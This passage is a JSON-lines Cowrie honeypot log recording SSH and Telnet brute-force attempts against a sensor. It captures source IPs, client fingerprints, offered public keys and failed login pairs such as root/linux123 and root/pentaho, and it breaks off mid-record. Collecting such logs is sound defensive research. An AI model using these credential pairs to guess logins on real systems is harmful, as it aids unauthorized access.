{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:72:95:9d:b5:e4:6f:3b:40:b6:e9:74:ed:ce:0e:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDe/kSlETIc/w/8UfSroUUDG8PmIe0QnU/jXO88F0qAkR5WiOt5tiV1yYlI2puP/C5Y+D5cGvJgM7ALdrlk3Dqqck8ReKWz+Lt3PLrFNmxMEMsve32m3CzbMk+Y4GapRs1JCFqxadzKIStwV1C8fI+16K1K1FP3SCNIs8Txea2XieFtCWyz8GhIcbTpgYicMSW4OHWUnmLyvd43YHKwNaGMZoFByfFy8Yrm8hbEOLJzp1xQcUNpuSaHjP/eq83aN8NO7tzkh9T1snxobyUMOS1g1AY+Ux+BYqS1eS7tqcjkbjgfHsVvGBB8qjeb8+5M7VrtmmB51C80GRDn8NGCA+mMa8APZgifSxI2B+w87yGDqa5KG2fcZGPgVzanMJnZ/BQl0SrU0OszvjN2KqsE5dnka3Z3C2Gth2+d/ziNeJM1HGkIDxQQMnxXmRaC4hf4z5JR05XgAVrTGNL4ak9s2IbB1l1BCLVUejN657VznLdkUsDBGiKtTFF6LgvdVZlcIHWb4+rxIVU5gYzPsfPJk4dILlHFWS/Hbkoa/sACvEkunNw1DD7jeWZuCUTAZ3TR0WJfAA5fwoBiyBYMqcL9EXh1d4e4o8D3vl+5ESTmSgSigg2NO0+yVF9W74iKu/HQfyMjTBTcpLeMBU7UO6rog76C9u/9glqSN5dVVx4TvJ83TQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:42.858410Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":56034,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a78ccbf72df","protocol":"ssh","message":"New connection: 45.123.110.70:56034 (159.203.135.109:22) [session: 8a78ccbf72df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:42.874653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:42.879559Z","src_ip":"45.123.110.70","session":"8a78ccbf72df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:f2:a6:2a:e5:a5:73:69:63:17:6d:fc:7b:bc:d2:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwvJVMFyziSjBawai8suBqYLDTHG7RNQ3I9mgX9oGJiWIyPG67LPg55KmB+azXZDwVS1eHCEYkH6AU2pm9xHNRWlhMAJwF9DUMynZ3opEaDYVipXGhRoWUcsPu1j5dPWX2fYk/OtvglI40usJ6DTRYJgbWq3zCYz8K1x7A6opgTg4ZbQmet882Tn+tEk61ZBOmCnWono698zrKnV9uovCBkU4E49EKKF6tzAmNS//NChfC6t4Ap2GW92H9BJus1DPirdn7LLdYyVCBKgZhR+4cm/2qsy43KWrZL7LmBFnRu2gEGBZKUhbOQATA3vw/vpQhhADT8QNgsTS+7UH7AWU1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:f2:a6:2a:e5:a5:73:69:63:17:6d:fc:7b:bc:d2:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:42.997875Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:f2:a6:2a:e5:a5:73:69:63:17:6d:fc:7b:bc:d2:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwvJVMFyziSjBawai8suBqYLDTHG7RNQ3I9mgX9oGJiWIyPG67LPg55KmB+azXZDwVS1eHCEYkH6AU2pm9xHNRWlhMAJwF9DUMynZ3opEaDYVipXGhRoWUcsPu1j5dPWX2fYk/OtvglI40usJ6DTRYJgbWq3zCYz8K1x7A6opgTg4ZbQmet882Tn+tEk61ZBOmCnWono698zrKnV9uovCBkU4E49EKKF6tzAmNS//NChfC6t4Ap2GW92H9BJus1DPirdn7LLdYyVCBKgZhR+4cm/2qsy43KWrZL7LmBFnRu2gEGBZKUhbOQATA3vw/vpQhhADT8QNgsTS+7UH7AWU1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:43.001854Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:43.120657Z","src_ip":"45.123.110.70","session":"8a78ccbf72df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:cb:ce:f2:d1:62:6d:76:cf:19:9a:38:e7:7b:1a:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpCQGO0IL/ct1htJ9NkENgOzP4ze2/bgZslIONE/fGprk6gPf4efdD9Ml4QtlJCVduHegJF5/LNVh7R0lMMrFSQght1GsA0jk9I4S75W9WOcP7Zaev81gx+mh79gijhqytk0va5YtZPOvWRE+D/LdZ1llMtPEYqm7gPUb8YsOFHQPnFfhcGOrsb4+yh0YSYiYFqrCN2AiCMQ/nEaRSD0VWl6hUBLFvOxz/dz35dDH01Jz10BD7VnZXkFNvcCQLRLyG3S4uxe1moNmZiYs/25z4U/js4jHlwo66ERd5kGJU4+g4vDXd6Mpg2RwzL1HSbOwfvnZliPZX+bEgE1QVZjFh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:cb:ce:f2:d1:62:6d:76:cf:19:9a:38:e7:7b:1a:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:43.143807Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:cb:ce:f2:d1:62:6d:76:cf:19:9a:38:e7:7b:1a:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpCQGO0IL/ct1htJ9NkENgOzP4ze2/bgZslIONE/fGprk6gPf4efdD9Ml4QtlJCVduHegJF5/LNVh7R0lMMrFSQght1GsA0jk9I4S75W9WOcP7Zaev81gx+mh79gijhqytk0va5YtZPOvWRE+D/LdZ1llMtPEYqm7gPUb8YsOFHQPnFfhcGOrsb4+yh0YSYiYFqrCN2AiCMQ/nEaRSD0VWl6hUBLFvOxz/dz35dDH01Jz10BD7VnZXkFNvcCQLRLyG3S4uxe1moNmZiYs/25z4U/js4jHlwo66ERd5kGJU4+g4vDXd6Mpg2RwzL1HSbOwfvnZliPZX+bEgE1QVZjFh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:43.148806Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:7f:8e:21:38:e8:66:5b:e5:df:f4:d3:c2:a2:f0:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC602fhB2OA+uyZdZci4VGcfirSQiZINCFJCkHASQOLlnP0nPTgp7j4rG4ChQ0P/EkiK2l03N/iqa4IW606hssVbMWn9PoEkFo48lOY923Kv3XjWz4ux2dG+P/wqy2IDGD+fsHRV78wwq0m8mwYk14C1wSd12QdC2rkD8ez5/6ZySQEWJbNX5jnx7ZsUoulmFkYNmRlTS6EsKBdrS4FMSJRvkGawrdRzRsw5Nf6n3W3Bq4CeApg/sFH7yCMVKGKHqPJ8xl61vWFU9CJg9Di0Hzsr1wG92X4J81U3LXe/GWKq8P9oKV9Bj67vYMW1TRJYVvRNcBJT2zSzLm0lhdyrZfV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:7f:8e:21:38:e8:66:5b:e5:df:f4:d3:c2:a2:f0:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:43.288459Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:7f:8e:21:38:e8:66:5b:e5:df:f4:d3:c2:a2:f0:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC602fhB2OA+uyZdZci4VGcfirSQiZINCFJCkHASQOLlnP0nPTgp7j4rG4ChQ0P/EkiK2l03N/iqa4IW606hssVbMWn9PoEkFo48lOY923Kv3XjWz4ux2dG+P/wqy2IDGD+fsHRV78wwq0m8mwYk14C1wSd12QdC2rkD8ez5/6ZySQEWJbNX5jnx7ZsUoulmFkYNmRlTS6EsKBdrS4FMSJRvkGawrdRzRsw5Nf6n3W3Bq4CeApg/sFH7yCMVKGKHqPJ8xl61vWFU9CJg9Di0Hzsr1wG92X4J81U3LXe/GWKq8P9oKV9Bj67vYMW1TRJYVvRNcBJT2zSzLm0lhdyrZfV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:43.292835Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:43.432742Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:44.099053Z","src_ip":"45.123.110.70","session":"8a78ccbf72df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:45.843728Z","src_ip":"45.123.110.70","session":"8a78ccbf72df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":52710,"dst_ip":"159.203.135.109","dst_port":22,"session":"8921599d1161","protocol":"ssh","message":"New connection: 190.85.41.170:52710 (159.203.135.109:22) [session: 8921599d1161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:46:46.665544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:46:46.671255Z","src_ip":"190.85.41.170","session":"8921599d1161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:46:46.746117Z","src_ip":"190.85.41.170","session":"8921599d1161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fecjl1yg","password":"3sScGbQLYlTZvYdQqsZA","message":"login attempt [fecjl1yg/3sScGbQLYlTZvYdQqsZA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:46:47.078142Z","src_ip":"190.85.41.170","session":"8921599d1161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:46:48.156404Z","src_ip":"190.85.41.170","session":"8921599d1161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":26354,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cfe32e60341","protocol":"ssh","message":"New connection: 45.123.110.70:26354 (159.203.135.109:22) [session: 0cfe32e60341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:47:06.886136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:47:06.891275Z","src_ip":"45.123.110.70","session":"0cfe32e60341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:47:07.130124Z","src_ip":"45.123.110.70","session":"0cfe32e60341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pentaho","message":"login attempt [root/pentaho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:47:08.159403Z","src_ip":"45.123.110.70","session":"0cfe32e60341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:47:09.400364Z","src_ip":"45.123.110.70","session":"0cfe32e60341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":40602,"dst_ip":"159.203.135.109","dst_port":22,"session":"540ebab7798a","protocol":"ssh","message":"New connection: 190.85.41.170:40602 (159.203.135.109:22) [session: 540ebab7798a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:48:02.825356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:48:02.834062Z","src_ip":"190.85.41.170","session":"540ebab7798a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:48:02.908213Z","src_ip":"190.85.41.170","session":"540ebab7798a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jawad","password":"jawad","message":"login attempt [jawad/jawad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:48:03.235263Z","src_ip":"190.85.41.170","session":"540ebab7798a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:48:04.311954Z","src_ip":"190.85.41.170","session":"540ebab7798a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":53196,"dst_ip":"159.203.135.109","dst_port":22,"session":"dff5e1fdbb50","protocol":"ssh","message":"New connection: 45.123.110.70:53196 (159.203.135.109:22) [session: dff5e1fdbb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:48:35.151481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:48:35.156769Z","src_ip":"45.123.110.70","session":"dff5e1fdbb50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:48:35.392943Z","src_ip":"45.123.110.70","session":"dff5e1fdbb50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"crv","message":"login attempt [root/crv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:48:36.371622Z","src_ip":"45.123.110.70","session":"dff5e1fdbb50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:48:37.610646Z","src_ip":"45.123.110.70","session":"dff5e1fdbb50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":23480,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e8cbe8b375e","protocol":"telnet","message":"New connection: 34.53.195.10:23480 (10.17.0.5:23) [session: 5e8cbe8b375e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:13.197084Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":23494,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec9fb7fb8e5e","protocol":"telnet","message":"New connection: 34.53.195.10:23494 (10.17.0.5:23) [session: ec9fb7fb8e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:13.353679Z"}
{"eventid":"cowrie.session.closed","duration":0.0070989131927490234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:13.360591Z","src_ip":"34.53.195.10","session":"ec9fb7fb8e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":23510,"dst_ip":"10.17.0.5","dst_port":23,"session":"69e0cb1ed951","protocol":"telnet","message":"New connection: 34.53.195.10:23510 (10.17.0.5:23) [session: 69e0cb1ed951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:13.510798Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":57196,"dst_ip":"159.203.135.109","dst_port":22,"session":"502a2b3786c4","protocol":"ssh","message":"New connection: 190.85.41.170:57196 (159.203.135.109:22) [session: 502a2b3786c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:20.740525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:20.745642Z","src_ip":"190.85.41.170","session":"502a2b3786c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-g